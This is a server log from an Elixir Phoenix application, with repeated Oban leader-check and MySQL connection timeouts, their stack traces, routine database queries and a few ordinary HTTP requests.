[Fri Sep  4 15:29:35.538000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:29:38.264000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 15:30:12.305000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:30:17.306000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:30:21.951000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 15:30:55.983000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:30:58.433000 2026] [Phoenix.Logger:info] [pid 2816631] [client 94.154.43.249:54208] POST /
[Fri Sep  4 15:30:58.474000 2026] [Plug.Debugger:debug] [pid 2816631] [client 94.154.43.249:54208] ** (Phoenix.Router.NoRouteError) no route found for POST / (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 15:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1189.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 15:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.7ms idle=1161.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 15:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1138.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 16:00:00.581000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=1.1ms idle=926.3ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 16:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 16:00:00.794000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=1.2ms idle=1139.2ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 16:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 16:00:00.794000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=1.0ms idle=1138.2ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 16:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 16:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1111.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 16:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1076.9ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 16:25:19.624000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:37208] GET /
[Fri Sep  4 16:25:19.624000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:37208] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Fri Sep  4 16:25:19.625000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:37208] Sent 200 in 1ms
[Fri Sep  4 16:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1062.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 16:30:00.709000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=2.2ms idle=1971.7ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 16:30:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 16:30:00.883000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=2.1ms idle=809.8ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 16:30:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 16:35:18.322000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:54432] GET /
[Fri Sep  4 16:35:18.322000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:54432] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Fri Sep  4 16:35:18.323000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:54432] Sent 200 in 1ms
[Fri Sep  4 16:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1040.4ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 16:43:54.729000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:57396] GET /
[Fri Sep  4 16:43:54.730000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:57396] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Fri Sep  4 16:43:54.730000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:57396] Sent 200 in 1ms
[Fri Sep  4 16:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1021.4ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 16:47:47.797000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 16:47:48.272000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 16:47:52.798000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 16:47:57.012000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 16:48:32.045000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 16:48:37.048000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 16:48:41.563000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 16:49:16.598000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 16:49:21.599000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 16:49:23.278000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 16:49:25.923000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 16:49:59.961000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 16:50:04.962000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 16:50:05.696000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 16:50:09.267000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 16:50:42.298000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 16:50:47.299000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 16:50:51.954000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 16:51:24.984000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 16:51:28.283000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 16:51:29.985000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
